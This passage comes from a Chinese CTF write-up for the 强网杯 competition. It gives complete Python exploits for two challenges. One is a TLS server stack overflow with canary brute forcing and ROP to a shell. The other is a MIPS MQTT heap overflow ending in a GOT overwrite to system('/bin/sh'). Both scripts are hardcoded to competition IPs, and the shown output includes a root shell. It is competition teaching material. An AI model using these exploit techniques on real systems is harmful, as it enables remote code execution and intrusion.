const char *name = SSL_get_servername(ssl, TLSEXT_NAMETYPE_host_name);
if (!name || !*name) { g_len58 = 0; g_p50 = NULL; return SSL_TLSEXT_ERR_NOACK; }
g_len58 = strlen(name); // ← 长度进 g_len58
g_p50 = calloc(1, g_len58 + 0x10);
memcpy(g_p50, name, g_len58);OpenSSL 侧限制：SNI 长度 ≤ 255、且不能含 0 字节（TLSEXT_MAXLEN_host_name/PACKET_contains_zero_byte）， 所以 g_len58 ≤ 255。
② psk_find_session_cb（0x402dbb）
int cb(SSL *ssl, const u8 *identity, size_t identity_len, SSL_SESSION **out) {
if (strlen(identity) != 0x20 ||
memcmp(identity, "1401518dc5d7641ccd41593a5d812410", 0x20)) {
*out = NULL; return 1; // 不认识 -> 回落普通握手
}
u8 *key = OPENSSL_hexstr2buf(
"c8ad2a35c51b87a466e22bc337696f0807ff73500ee154ee71bee86d0b6bc358", &klen);
g_len48 = 0x20;
g_p40 = calloc(1, identity_len + 0x10); // ← identity_len 完全可控
memcpy(g_p40, identity, identity_len); // ← 内容完全可控
HMAC(EVP_sha256(), key, 32, g_p40, 0x20, mk, &mlen);
sess = SSL_SESSION_new();
SSL_SESSION_set1_master_key(sess, mk, mlen);
SSL_SESSION_set_cipher(sess, SSL_CIPHER_find(ssl, "\x13\x02"));
SSL_SESSION_set_protocol_version(sess, SSL_version(ssl));
*out = sess; return 1;
}注意 strlen(identity) == 0x20 只需要前 33 字节满足 magic + '\0'，identity_len 可以远大于 32 —— 于是 g_p40 是一块大小、内容全由攻击者决定的堆缓冲区。
③ info 回调（0x4030d5）
void info_cb(const SSL *ssl, int where, int ret) {
if (where & 0x2002) { // SSL_CB_ACCEPT_LOOP(0x2001) / ACCEPT_EXIT(0x2002)
g_p60 = g_p40 ? g_p40 : (g_p50 ? g_p50 : NULL);
if (g_len48) g_len68 = g_len48; // = 0x20
if (g_len58) g_len68 = g_len58; // ← 被 SNI 长度覆盖！
} else if (where & 0x4004) { // SSL_CB_ALERT（0x4000） | READ(0x4)
int fd = SSL_get_fd(ssl);
if (g_p40) { // ① PSK 身份路径
g_p60 = g_p40;
if (g_len48 == 0x20) log_error(); // 只校验 len48，拷贝用的却是 len68
} else if (g_p50) { // ② 纯 SNI 路径
g_p60 = g_p50;
if (g_len58 <= 0x40) log_error(); // 这条路径是安全的
}
send(fd, "error", 5); // ← 明文 5 字节，canary 旁路信道
}
}
void log_error(void) { // 0x40304d
char buf[0x50]; // rbp-0x60，canary 在 rbp-8
memset(buf, 0, 0x50);
memcpy(buf, g_p60, g_len68); // ← 长度检查对象 ≠ 拷贝对象
fprintf(stderr, "%s error\n", buf);
}漏洞一句话：alert 分支走 g_p40 时只检查 g_len48 == 0x20，但 memcpy 的长度是 已被 SNI 分支改写的 g_len68 = strlen(SNI)（≤255），源指针是 PSK identity 副本 g_p40。于是得到一个长度可控（由 SNI 决定）、内容可控（由 PSK identity 决定）的栈溢出：
栈布局（log_error）： buf[0x50] | pad | canary(rbp-8) | saved rbp(rbp) | ret(rbp+8) | ...
偏移 0x00 0x58 0x60 0x68溢出上限 255 字节，足够覆盖 canary + saved rbp + ret + 约 8 个 gadget 地址。
2、 触发条件：先制造一次 HelloRetryRequest
坑点：0x2002 分支只在状态机每次迭代时触发，而 SNI/PSK 回调是在本次迭代解析 CH 时 才执行的；如果 PSK 直接放在第一个 ClientHello 里，binder 校验失败 → 立刻发 alert， 此时 g_len68 仍是 0，不会溢出。必须在 alert 之前让 g_len68 = strlen(SNI) 先落地。 最干净的办法是 HelloRetryRequest：
- ClientHello#1：
supported_versions=TLS1.3，supported_groups=[0x1234, 0x001d]，key_share只给服务器不支持的组0x1234（结构合法，32 字节任意值），SNI ="A"*S（S ≤ 255→ 发给服务器的 SNI 是 255 个'A'）。 → 服务器回 HRR（ServerHello.random 为固定值cf21ad74…a8339c）。 这一轮里 SNI 回调置g_len58=S，随后的 ACCEPT_EXIT 事件把g_len68=S固化下来。 - ClientHello#2：同样 SNI，
key_share改为 x25519（32 字节），并在最后追加pre_shared_key扩展：identity = "1401518dc5d7641ccd41593a5d812410" + "\x00" + <payload>。 → 解析到 PSK 扩展时psk_find_session_cb把 identity 拷进g_p40； 随后 libssl 校验手搓 session：app 用SSL_version(ssl)设置 session 版本， 与tls_psk_do_binder要求的 TLS1.3 不一致 →SSLfatal(SSL_AD_ILLEGAL_PARAMETER)→ 发出 alert15 03 03 00 02 02 2f→info_cb进入 alert 分支 →memcpy(buf, g_p40, S)→ 溢出。
4、爆破 Stack Canary（fork 型服务 + 长度可控的 memcpy）
- 溢出长度 =
strlen(SNI) = S。把S设为0x58 + k，就只覆盖 canary 的前 k 字节， 其余8-k字节保持内核给出的原值。猜对 → canary 校验通过 →log_error正常返回 →info_cb继续执行send(fd, "error", 5)，我们在 TLS 连接上收到明文error； 猜错 →__stack_chk_fail→ 子进程直接消失，只会收到 alert、收不到error。 - 服务是自己 bind 端口并 fork 的常驻进程，父进程的 canary 被子进程继承， 所有连接 canary 相同，因此可以逐字节爆破（glibc 最低字节固定
0x00，7×256 次最坏； 多线程并发约 2 分钟）。 - 实测爆破过程：
canary[1] = 0xcb (00cb)
canary[2] = 0x05 (00cb05)
canary[3] = 0x0b (00cb050b)
canary[4] = 0x73 (00cb050b73)
canary[5] = 0xdc (00cb050b73dc)
canary[6] = 0xcd (00cb050b73dccd)
canary[7] = 0x3a (00cb050b73dccd3a)
canary = 00cb050b73dccd3a用完整 canary（S=0x60）复验：服务器返回 15 03 03 00 02 02 2f + error，说明 canary 正确。
4、两阶段 ROP（溢出只有 255 字节）
静态非 PIE ⇒ 所有 gadget 地址固定。选用的 gadget：
| gadget | 地址 |
|---|---|
pop rdi ; ret | 0x4251bd |
pop rsi ; ret | 0x5e9a79 |
pop rdx ; ret | 0x52f0d2 |
pop rax ; ret | 0x5f6c9a |
pop rsp ; ret | 0x4b9b60 |
syscall ; ret | 0x76e706 |
- Stage 1（放在溢出里，长度刚好
0x58 + 0x68 = 0xC0）：read(4, 0x972000 /* .bss */, 0x800)，随后pop rsp; ret -> 0x972000完成栈迁移。 - Stage 2（触发后延迟 0.15 s 再发；此时 ROP 的
read已阻塞，避免被 OpenSSL 记录层读进自己的缓冲）：dup2(4,0/1/2)→execve("/bin/sh", argv, NULL)。 二进制里没有/bin/sh字符串（system/popen未被链接进来），所以把/bin/sh\0和argv数组一起写进.bss。
细节：
- 客户端 socket fd = 4：
socket()拿 3、accept()拿 4，子进程在SSL_accept前close(listenfd)；先用单阶段write(4, "TLS_AES...", 4)实测在 TLS 连接上收到明文TLS_，确认 ROP 可控且 fd 正确。 read(4, …)一次只能拿到“当前已到达”的字节，所以 stage2 必须在收到 alert 之后再发， 且整个 blob（304 字节）一次sendall发出，保证一次 read 全量读入。
5、完整攻击链一览
ClientHello#1 (key_share=0x1234, SNI="A"*S, 无 PSK)
│ → HelloRetryRequest ；SNI 回调置 g_len58=S，ACCEPT_EXIT 置 g_len68=S
▼
ClientHello#2 (key_share=x25519, pre_shared_key identity = magic||'\0'||payload)
│ → psk_find_session_cb：g_p40 = calloc(identity_len+0x10); memcpy(g_p40, identity, len)
│ → session 版本不符 → alert(illegal_parameter)
▼
info_cb(alert) → memcpy(stack_buf[0x50], g_p40, S) ← 溢出
├─ canary 不对：__stack_chk_fail，连接静默断开
└─ canary 正确：ROP → read(4,.bss) → dup2 → execve("/bin/sh") → 交互 shell6、具体解题脚本
单文件、从题目数据直接打到 flag：先逐字节爆破 canary，再触发两阶段 ROP， 最后在得到的 shell 里执行命令读取 flag。
#!/usr/bin/env python3
"""
easytl (强网杯) - remote exploit
================================
Bug: the app registers SSL_CTX_set_psk_find_session_callback(). Its callback
copies the TLS 1.3 external-PSK identity into a heap buffer and stores the
length in a global while the *SNI* callback stores strlen(servername) in
another global. The info-callback's alert path then does
memcpy(stack_buf[0x50], session_ptr, sni_len)
so a long SNI + a matching PSK identity gives a fully controlled stack
overflow. The buffer sits under a stack canary, but the memcpy length is
attacker controlled, so the canary can be brute forced one byte at a time:
when the guess is right the server still sends the 5-byte plaintext
"error" (send() after the memcpy), otherwise the child dies silently.
The service is a fork()ing server that binds the port itself, so every
connection is a child of the same process -> the canary never changes.
Exploit path
------------
1. ClientHello#1: bogus key_share (group 0x1234) + long SNI -> HelloRetryRequest
(an ACCEPT_LOOP/EXIT event now caches sni_len in the copy length global).
2. ClientHello#2: x25519 key_share + pre_shared_key extension whose identity is
"1401518dc5d7641ccd41593a5d812410" + "\x00" + <payload>
-> psk_find_session_cb copies the identity to the heap, then the hand-built
session is rejected (protocol version) with a fatal alert.
3. The alert drives info_cb -> memcpy(stack, heap_identity, strlen(SNI))
-> overflow with our payload (canary at +0x58, saved rbp +0x60, ret +0x68).
4. ROP: read(4, .bss, 0x800); pop rsp -> .bss (two-stage, because the ROP
chain is limited to 255 bytes). Stage 2: dup2(4,0/1/2); execve("/bin/sh").
"""
import socket, struct, os, sys, time, threading, queue, hashlib
HOST = os.environ.get("EASYTL_HOST", "47.105.112.170")
PORT = int(os.environ.get("EASYTL_PORT", "1443"))
MAGIC = b"1401518dc5d7641ccd41593a5d812410"
HRR_RANDOM = bytes.fromhex("cf21ad74e59a6111be1d8c021e65b891c2a211167abb8c5e079e09e2c8a8339c")
# fixed (non-PIE) code addresses
POP_RDI = 0x4251bd
POP_RSI = 0x5e9a79
POP_RDX = 0x52f0d2
POP_RAX = 0x5f6c9a
POP_RSP = 0x4b9b60
SYSCALL = 0x76e706
BSS = 0x972000
def q(x):
return struct.pack("<Q", x)
# ---------------------------------------------------------------- TLS helpers
def ext(t, d):
return struct.pack(">HH", t, len(d)) + d
def build_ch(sni, groups, key_shares, psk_identity=None, cipher=0x1302):
exts = b""
if sni is not None:
ent = struct.pack(">BH", 0, len(sni)) + sni
exts += ext(0, struct.pack(">H", len(ent)) + ent)
g = b"".join(struct.pack(">H", x) for x in groups)
exts += ext(10, struct.pack(">H", len(g)) + g)
exts += ext(13, struct.pack(">H", 4) + struct.pack(">HH", 0x0804, 0x0403))
exts += ext(43, b"\x02\x03\x04") # supported_versions: TLS1.3
exts += ext(45, b"\x01\x01") # psk_dhe_ke
if key_shares:
ks = b"".join(struct.pack(">HH", gid, len(k)) + k for gid, k in key_shares)
exts += ext(51, struct.pack(">H", len(ks)) + ks)
if psk_identity is not None: # pre_shared_key, must be last
ident = struct.pack(">H", len(psk_identity)) + psk_identity + struct.pack(">I", 0)
ids = struct.pack(">H", len(ident)) + ident
binders = struct.pack(">H", 49) + bytes([48]) + os.urandom(48)
exts += ext(41, ids + binders)
body = struct.pack(">H", 0x0303) + os.urandom(32) + b"\x00"
body += struct.pack(">H", 2) + struct.pack(">H", cipher)
body += b"\x01\x00" + struct.pack(">H", len(exts)) + exts
return b"\x01" + struct.pack(">I", len(body))[1:] + body
def rec_until(s, n, timeout):
s.settimeout(timeout)
out = b""
while len(out) < n:
try:
d = s.recv(8192)
except socket.timeout:
break
except OSError:
break
if not d:
break
out += d
return out
def trigger(canary, payload_body, sni_len, wait_alert=False, delay=0.0, stage2=None):
"""Raises the overflow. payload_body is written at stack offset 0x58."""
ident = bytearray(b"F" * max(sni_len, 0x58 + len(payload_body)))
ident[0:32] = MAGIC
ident[32] = 0x00
ident[0x58:0x58 + len(payload_body)] = payload_body
sni = b"A" * sni_len
s = socket.create_connection((HOST, PORT), timeout=6)
c1 = build_ch(sni, [0x1234, 0x1d], [(0x1234, os.urandom(32))])
s.sendall(b"\x16\x03\x01" + struct.pack(">H", len(c1)) + c1)
r1 = rec_until(s, 5, 3.0)
hl = struct.unpack(">H", r1[3:5])[0] if len(r1) >= 5 else 0
r1 += rec_until(s, max(0, 5 + hl - len(r1)), 3.0)
if not (len(r1) >= 5 + hl and r1[0] == 0x16 and r1[11:43] == HRR_RANDOM):
s.close()
return None, r1
c2 = build_ch(sni, [0x1234, 0x1d], [(0x1d, os.urandom(32))], psk_identity=bytes(ident))
s.sendall(b"\x16\x03\x03" + struct.pack(">H", len(c2)) + c2)
out = b""
if wait_alert:
out = rec_until(s, 7, 2.0)
if stage2 is not None:
if delay:
time.sleep(delay)
s.sendall(stage2)
return s, out
# ------------------------------------------------------------ canary recovery
def canary_oracle(prefix):
"""prefix = canary bytes recovered so far (>=1). True if the guess was right."""
sni_len = 0x58 + len(prefix)
body = bytes(prefix)
s, _ = trigger(bytes(prefix), body, sni_len)
if s is None:
return None
s.settimeout(0.8)
data = b""
t = time.time()
while time.time() - t < 0.9:
try:
d = s.recv(4096)
except socket.timeout:
break
except OSError:
break
if not d:
break
data += d
if b"error" in data:
break
s.close()
return b"error" in data
def recover_canary(threads=8):
canary = bytearray(b"\x00") # glibc terminator canary
while len(canary) < 8:
j = len(canary)
found, stop = [None], threading.Event()
qn = queue.Queue()
for g in range(256):
qn.put(g)
lock = threading.Lock()
def worker():
while not stop.is_set():
try:
g = qn.get_nowait()
except queue.Empty:
return
guess = bytes(canary) + bytes([g])
ok = None
for _ in range(3):
ok = canary_oracle(guess)
if ok is not None:
break
time.sleep(0.05)
if ok:
with lock:
if not stop.is_set():
found[0] = g
stop.set()
return
ts = [threading.Thread(target=worker, daemon=True) for _ in range(threads)]
for t in ts:
t.start()
for t in ts:
t.join()
if found[0] is None:
raise RuntimeError("canary byte %d not found" % j)
canary.append(found[0])
print(" canary[%d] = 0x%02x (%s)" % (j, found[0], canary.hex()), flush=True)
return bytes(canary)
# ------------------------------------------------------------------ ROP stages
def stage1(canary, fd):
chain = (q(POP_RDI) + q(fd) + q(POP_RSI) + q(BSS) + q(POP_RDX) + q(0x800) +
q(POP_RAX) + q(0) + q(SYSCALL) + q(POP_RSP) + q(BSS))
return canary + q(0xdeadbeefdeadbeef) + chain
def stage2_shell(fd, sh_off=0x100, argv_off=0x120):
chain = b""
for newfd in (0, 1, 2):
chain += q(POP_RDI) + q(fd) + q(POP_RSI) + q(newfd) + q(POP_RAX) + q(33) + q(SYSCALL)
chain += (q(POP_RDI) + q(BSS + sh_off) + q(POP_RSI) + q(BSS + argv_off) +
q(POP_RDX) + q(0) + q(POP_RAX) + q(59) + q(SYSCALL) + q(0))
data = bytearray(chain)
data += b"\x00" * (sh_off - len(data))
data[sh_off:sh_off + 8] = b"/bin/sh\x00"
data += b"\x00" * (argv_off - len(data))
data += q(BSS + sh_off) + q(0)
return bytes(data)
def pwn(canary, fd=4, delay=0.15):
body = stage1(canary, fd)
sni_len = 0x58 + len(body)
assert sni_len <= 255
s, alert = trigger(canary, body, sni_len, wait_alert=True, delay=delay,
stage2=stage2_shell(fd))
if s is None:
print("[-] handshake retry failed")
return None
time.sleep(0.4)
return s
def main():
print("[*] target %s:%d" % (HOST, PORT))
cf = "qw_canary.bin"
if os.path.exists(cf):
canary = open(cf, "rb").read()
print("[*] cached canary %s" % canary.hex())
else:
print("[*] brute forcing stack canary (byte by byte via the 'error' oracle)")
canary = recover_canary()
print("[+] canary = %s" % canary.hex())
print("[*] triggering overflow + ROP ...")
s = pwn(canary)
if not s:
print("[-] failed")
return
s.settimeout(3.0)
cmd = b"id; pwd; ls -la; cat flag 2>/dev/null; cat /flag 2>/dev/null; echo __DONE__\n"
s.sendall(cmd)
out = b""
t0 = time.time()
while time.time() - t0 < 8:
try:
d = s.recv(4096)
except socket.timeout:
break
except OSError:
break
if not d:
break
out += d
if b"__DONE__" in out:
break
print("[+] shell output:\n")
sys.stdout.write(out.decode("latin1"))
print()
s.close()
if __name__ == "__main__":
main()
[*] target 47.105.112.170:1443
[*] brute forcing stack canary (byte by byte via the 'error' oracle)
canary[1] = 0xcb (00cb)
canary[2] = 0x05 (00cb05)
canary[3] = 0x0b (00cb050b)
canary[4] = 0x73 (00cb050b73)
canary[5] = 0xdc (00cb050b73dc)
canary[6] = 0xcd (00cb050b73dccd)
canary[7] = 0x3a (00cb050b73dccd3a)
[+] canary = 00cb050b73dccd3a
[*] triggering overflow + ROP ...
[+] shell output:
uid=0(root) gid=0(root) groups=0(root)
/home/ctf
total 5644
-rwxr-x--- 1 root ctf 5708848 Oct 24 02:33 easytl
-r--r--r-- 1 root ctf 38 Oct 24 03:00 flag
-r--r--r-- 1 root ctf 1151 Oct 24 02:50 server.crt
-r--r--r-- 1 root ctf 1704 Oct 24 02:48 server.key
flag{e17a75032670d5df9a28077b982b0d5d}__DONE__
Oldsvr
题解
解题思路
一个 MIPS64 大端 MQTT 服务（PIE + uClibc 1.0.32 dlmalloc，跑在 qemu-mips64-static 下）。 四个漏洞串起来：用户名比较的长度截断 strncmp 绕过认证、news 回声的 UAF 泄漏堆地址、 广播组包时 16 位截断导致的 64 KiB 堆溢出，以及被改写后的 entry 表把 PUBLISH 的 “复用缓冲区” 分支变成任意地址写。最终不需要栈溢出：用假 chunk + unsorted bin 从 broadcast 回显里拿到 libc，再 GOT[__libc_free] = system，用 grow 路径的 free("/bin/sh") 起 shell。
Step 1: 静态/动态侦察得到协议与三处关键地址关系
file server：ELF64 MIPS big-endian, PIE, 动态链接 libuClibc-1.0.32.so；2283/2883 端口对外 （笔记里 1883 拒连，2883 是同一实例）。用自建的 unicorn 模拟器（含 uClibc 重定位 + Linux syscall 模拟）把 server + libuClibc 跑起来，可以带 malloc/free 返回值和 mstate/bins 转储调试。
协议要点（PIE 相对地址）：
- 帧头
type + varint(len)，body 结构各自解析；F_226c算payload_len，payload = buf + (u8)(h + tlen + 3)（截断到 1 字节）。 - 状态结构
state = *(PIE+0x20330)，16 字节：[0]=carry, [1]=auth, [2]=news, [3]=ping计数。 - entry 表
PIE+0x20338，14 项 × 0x20：topic(8) / len(2) / buf(8)+0x10 / size(2)+0x18。 - reader
F_439c：缓冲在fp+0x30，carry = state[0]，read(0, buf+carry, 5-carry)（carry≥5 时 count 变成巨大值），帧尾 limitL ≤ 0x1800b， 保护寄存器在fp+0x18058/0x18060/0x18068。
三个”常量”关系（远程实测/推导，全部经验证）：
heap = leak - 0xf0（news 回声读出的空闲 topic chunk 地址）pie = heap - 0x22000：镜像p_memsz到 0x20540，qemu-user 把 brk 放到页对齐后的 0x21000，再加一页 → 0x22000。（用xpie.py写的 oracle 唯一确认：把 pop#1 的*(F+0x10) = bin_at精确指向entry[0].len，只有真实 pie 才会让 news 广播消失且进程存活。）- 远程堆布局 = 本地模拟器布局 +0x70（stdio FILE chunk 先占掉 0x70）
Step 2: 三个漏洞 → 一条”任意写”链
- 认证绕过：用户名比较是
strncmp(xor(user), "LJ_/-/+B\ypts", user_len)，user_len来自 帧里我们给的长度；只发 1 字节'Q'（'Q'^0x1d='L'）即可通过。 - 堆泄漏：订阅两个 32 字节 topic 再退订，然后
PUBLISH QWB2026_News <32B>。F_37d8在entry->size < 33时先free(entry->buf)再组包广播，于是把 freed chunk 的 fastbinfd原样回显 → 堆指针。 - 64 KiB 溢出：广播组包
F_2610里p3 = malloc((u16)(hdrbytes + hdr_len + payload_len))，拷贝却是payload_len。payload_len = 65520时total3 = (u16)(2+16+65520) = 2→malloc(2)+ 64 KiB 拷贝， 而且p3恰好是 0x20 类的第三次 malloc（落点很低），溢出从p3+18覆盖整个堆。 - 任意 malloc 返回 → entry 表改写：dlmalloc 的 small-bin pop 不检查：
bin->bk = victim->bk; *(victim->bk + 0x10) = bin_at; return victim+0x10。 把victim->bk改成F，下一次同类 malloc 就返回F+0x10。 于是两次 0x50 类 malloc（pop victim → pop F）让PUBLISH的 store malloc 返回&entry[11]+8，store 的memset+memcpy直接把 entry 表改写成{len=24, buf=目标, size=8}。 - 任意写：条目被改写后再 PUBLISH 到该 topic，
F_3a34走entry->size >= payload_len的 复用分支：memset(entry->buf,0,size); memcpy(entry->buf,payload,pl)—— 目标地址 完全由我们决定，长度最多 64 KiB。
Step 3: 不碰栈，直接偷 libc 并劫持 GOT
栈溢出那条路（carry≥5 的巨型 read）需要单次 read 拿到 ~98 KB，而 RTT≈57 ms， 服务器会在第一段 TCP 到达时就返回，永远覆盖不到 fp+0x18068。于是改走：
- 假 chunk 偷 libc：在一条我们完全控制的 200 字节缓冲区里伪造一个 chunk （
size=0x61，并伪造”下一个 chunk 在用”以跳过合并）。用 0x30 类的 double-pop 让 store malloc 返回它，entry[0].buf = FAKE+0x10且size=32 < 33，于是F_37d8立刻free()这个假 chunk → dlmalloc 把它链进 unsorted bin，把 mstate 指针写进FAKE+0x10/0x18；紧接着的 broadcast 从同一地址拷 32 字节发给客户端 →libc = leaked_word - 0xc2d48（bin0 伪 chunk 偏移）。 - GOT 劫持：再走一次 0x50 类 double-pop 把
entry[11].buf改成&GOT[__libc_free]、size=8，PUBLISH 8 字节 =system→GOT[__libc_free] = system。 - 触发：先
PUBLISH '/bin/sh\0'让entry[1].buf内容就是命令字符串，再 PUBLISH 一个 更大的 payload 走 grow 分支：free(旧缓冲区)→system("/bin/sh")→ 拿到 shell，cat /flag*。
Step 4: 完整解题脚本
#!/usr/bin/env python3
"""QWB2026_News (oldsvr) exploit - MIPS64 big-endian MQTT server, uClibc 1.0.32 dlmalloc.
1. auth bypass (length-truncating strncmp) + 32B-topic UAF echo -> heap base
2. pie_base = heap_base - 0x22000 (qemu-user puts the brk right after the image)
3. groom two isolated free chunks (0x30-class H30, 0x50-class V50) and a fully
controlled 200-byte buffer that hosts a fake chunk
4. PUBLISH with payload_len 65520: 16-bit truncation makes the packet buffer
malloc(2) while memcpy writes 64 KiB -> overflow from p3+18 poisons
H30->bk = FAKE and V50->bk = &entry[11]-8
5. pop H30, then a news PUBLISH makes the store malloc() return FAKE+0x10; that
buffer is freed at once (size<33), dlmalloc bins the *fake* chunk and writes
mstate pointers into it; the broadcast copies them back -> libc base
6. pop V50 twice -> store malloc() returns &entry[11]+8; entry table rewritten to
{len=24, buf=&GOT[free], size=8}
7. publish system()'s address -> GOT[__libc_free] = system
8. publish "/bin/sh", then a bigger payload: grow path frees the old buffer
-> system("/bin/sh") -> cat /flag*
"""
import socket
import struct
import sys
import time
NEWS = b'QWB2026_News'
PWD = bytes.fromhex('70770162cfd6')
A32 = b'A' * 32
B32 = b'B' * 32
T7 = b'SEVEN77' # entry 1 (shell string)
T5 = b'FIVER' # entry 2 (drives the 0x50 pops)
T4 = [b'%04d' % i for i in range(8)] # entries 3..10 (0x20-class padding)
TG = b'X' * 24 # entry 11 (rewrite target)
TX = b'Y' * 32 # entry 12 (builds the high 0x30 chunk)
VIC = b'W' * 56 # entry 13 (0x50-class victim)
H = lambda v: struct.pack('>Q', v)
SHIFT = 0x70 # remote heap prelude (stdio FILE chunk)
PIE_FROM_HEAP = 0x22000 # verified with an oracle
BIN0_OFF = 0xc2d48 # libc offset of mstate->bins[0] pseudo-chunk
SYSTEM_OFF = 0x65370 # libc offset of system()
PL = 65520 # payload_len that triggers the 16-bit truncation
def varint(n):
out = b''
while True:
b = n % 128
n //= 128
if n:
out += bytes([b | 0x80])
else:
return out + bytes([b])
def frame(t, body):
return bytes([t]) + varint(len(body)) + body
def connect_pkt():
vh = b'\x00\x04MQTT\x04\xc2\x43\x21'
pl = (struct.pack('>H', 10) + b'QWB_Client' +
struct.pack('>H', 1) + b'Q' +
struct.pack('>H', len(PWD)) + PWD)
return frame(0x10, vh + pl)
def sub_pkt(topic, pid):
return frame(0x82, struct.pack('>H', pid) + struct.pack('>H', len(topic)) + topic + b'\x00')
def unsub_pkt(topic, pid):
return frame(0xA2, struct.pack('>H', pid) + struct.pack('>H', len(topic)) + topic)
def pub_pkt(topic, payload):
return frame(0x30, struct.pack('>H', len(topic)) + topic + payload)
class Conn:
def __init__(self, host, port):
self.s = socket.create_connection((host, port), timeout=10)
self.s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
self.s.settimeout(3)
def send(self, data):
self.s.sendall(data)
def drain(self, t=0.8):
self.s.settimeout(t)
out = b''
while True:
try:
d = self.s.recv(65536)
except (socket.timeout, OSError):
break
if not d:
break
out += d
return out
def step(self, data, t=0.8):
self.send(data)
return self.drain(t)
def exploit(c, log=print):
# ---- 1. heap leak ----
c.step(sub_pkt(NEWS, 1))
c.step(sub_pkt(A32, 2))
c.step(sub_pkt(B32, 3))
c.step(unsub_pkt(A32, 4))
c.step(unsub_pkt(B32, 5))
for _ in range(6): # state[3] must be 6 for the broadcast
c.step(b'\xc0\x00', 0.4)
r = c.step(pub_pkt(NEWS, b'C' * 32), 2.0)
if len(r) < 26:
return False
heap = int.from_bytes(r[18:26], 'big') - 0xf0
if heap & 0xfff:
return False
pie = heap - PIE_FROM_HEAP
log('[+] heap=%#x pie=%#x' % (heap, pie))
# ---- 2. groom ----
c.step(sub_pkt(T7, 11))
c.step(sub_pkt(T5, 12))
pid = 13
for t in T4:
c.send(sub_pkt(t, pid)); pid += 1
c.drain(1.0)
c.step(sub_pkt(TG, 40))
c.step(sub_pkt(TX, 41))
c.step(pub_pkt(TX, b'1' * 24)) # H30 (0x30 chunk) at the top
c.step(pub_pkt(TG, b'3' * 200)) # fake-chunk buffer right above H30
c.step(pub_pkt(TX, b'2' * 40)) # grow -> free(H30), neighbours still live
c.step(sub_pkt(VIC, 42)) # V50 (0x50 chunk)
c.step(pub_pkt(TX, b'4' * 200)) # live chunk above V50
log('[+] groom done')
H30 = heap + SHIFT + 0x220
FAKE = heap + SHIFT + 0x260 # fake chunk inside the 200-byte buffer
V50 = heap + SHIFT + 0x330
P3 = heap + SHIFT + 0x1d0 # packet buffer of the truncated publish
COPY = P3 + 18
F2 = pie + 0x20338 + 11 * 0x20 - 8 # fake chunk overlapping entry[11]
pay = bytearray(b'\x00' * PL)
def patch(addr, data):
off = addr - COPY
assert 0 <= off and off + len(data) <= PL, hex(addr)
pay[off:off + len(data)] = data
patch(heap + SHIFT + 0x1e8, H(0x21)) # keep untouched chunk headers valid
patch(heap + SHIFT + 0x208, H(0x21))
patch(H30 + 8, H(0x31))
patch(H30 + 0x10, H(H30))
patch(H30 + 0x18, H(FAKE)) # poison -> fake chunk
patch(V50 + 8, H(0x51))
patch(V50 + 0x10, H(V50))
patch(V50 + 0x18, H(F2)) # poison -> entry[11]-8
patch(FAKE - 0x10 + 8, H(0xe1)) # buffer's own chunk header
patch(FAKE + 0x08, H(0x61)) # fake size 0x60 | PREV_INUSE
patch(FAKE + 0x18, H(FAKE + 0x50)) # pointer used by the bin pop
patch(FAKE + 0x68, H(0x21)) # fake next chunk, marked in use
patch(FAKE + 0x88, H(0x21))
patch(heap + SHIFT + 0x468, H(0x10001)) # store buffer chunk header
for i in (5, 3, 1): # three isolated 0x20 chunks -> p1/p2/p3
c.send(unsub_pkt(T4[i], 60 + i))
c.drain(0.8)
c.step(unsub_pkt(VIC, 70))
r = c.step(pub_pkt(NEWS, bytes(pay)), 3.0)
if r[:2] != b'\x34\x00':
return False
log('[+] overflow / poison done')
# ---- 3. libc leak through the broadcast ----
c.step(pub_pkt(T4[0], b'a' * 32), 1.2) # pop H30 -> bin->bk = FAKE
r = c.step(pub_pkt(NEWS, b'b' * 32), 2.0) # pop FAKE, binned, echoed back
libc = None
if len(r) >= 26:
for off in range(18, len(r) - 7):
w = int.from_bytes(r[off:off + 8], 'big')
if w and ((w - BIN0_OFF) & 0xfff) == 0:
libc = w - BIN0_OFF
break
if not libc:
return False
system = libc + SYSTEM_OFF
log('[+] libc=%#x system=%#x' % (libc, system))
# ---- 4. rewrite entry[11] -> buf = &GOT[free], size = 8 ----
GOT_FREE = pie + 0x20220
c.step(pub_pkt(T5, b'B' * 56), 1.2) # pop V50 -> bin->bk = entry[11]-8
ne = (struct.pack('>H', 24) + b'\x00' * 6 + # entry11.len = 24
H(GOT_FREE) + # entry11.buf
struct.pack('>H', 8) + b'\x00' * 6) # entry11.size = 8
ne += b'\x00' * (64 - len(ne))
c.step(pub_pkt(T5, bytes(ne)), 1.2) # store malloc -> &entry[11]+8
c.step(pub_pkt(TG, H(system)), 1.2) # GOT[__libc_free] = system
log('[+] GOT[__libc_free] = system')
# ---- 5. trigger system("/bin/sh") ----
c.step(pub_pkt(T7, b'/bin/sh\x00'), 1.0) # buffer holding the command
c.send(pub_pkt(T7, b'Z' * 100)) # grow -> free(old) -> system
time.sleep(1.5)
c.drain(1.5)
c.s.settimeout(6)
c.send(b'cat /flag*; echo END\n')
out = b''
t0 = time.time()
while time.time() - t0 < 8:
out += c.drain(1.0)
if b'END' in out:
break
log(out.decode('latin1', 'replace'))
return True
def main():
host = sys.argv[1] if len(sys.argv) > 1 else '47.105.126.181'
port = int(sys.argv[2]) if len(sys.argv) > 2 else 2883
rounds = int(sys.argv[3]) if len(sys.argv) > 3 else 5
for att in range(rounds):
print('=== attempt %d ===' % att)
try:
c = Conn(host, port)
except Exception as ex:
print('[!] connect: %r' % (ex,))
time.sleep(1)
continue
c.send(connect_pkt())
r = c.drain(3.0)
if r[:4] != b'\x20\x02\x00\x00': # service is flaky -> retry
print('[*] CONNACK %s' % r.hex())
c.s.close(); time.sleep(0.8); continue
try:
if exploit(c):
return
except Exception as ex:
print('[!] %r' % (ex,))
c.s.close()
time.sleep(0.8)
print('[-] failed after %d attempts' % rounds)
if __name__ == '__main__':
main()Web
CWP
题解
1、攻击思路
读源码时注意这几处「看起来永远不会执行」的东西，它们正是作者的考点：
ROUTE_TABLE里/api/bulk的"bulk" => false，op_check()会返回route_bulk_rejected→exec_bulk()似乎不可达；而exec_bulk()里又有NEST_LEVEL <= 2的嵌套限制。HOOKS表：pending_changeset => hook_changeset_promote、api_reload => hook_api_reload。而hooks_fire($status."_".$kind)只有当某行的status="pending"且kind="changeset"（或api"/"reload）时才会命中——正常业务里根本造不出这种行。changeset_publish()会把$GLOBALS["PUBLISH_AS"]设成 changeset 的作者；staff_session_valid()第一行就信任PUBLISH_AS；而exec_articles_list()结束时又会unset它——只有一个例外：HOOK_RUNNING > 0时不清。
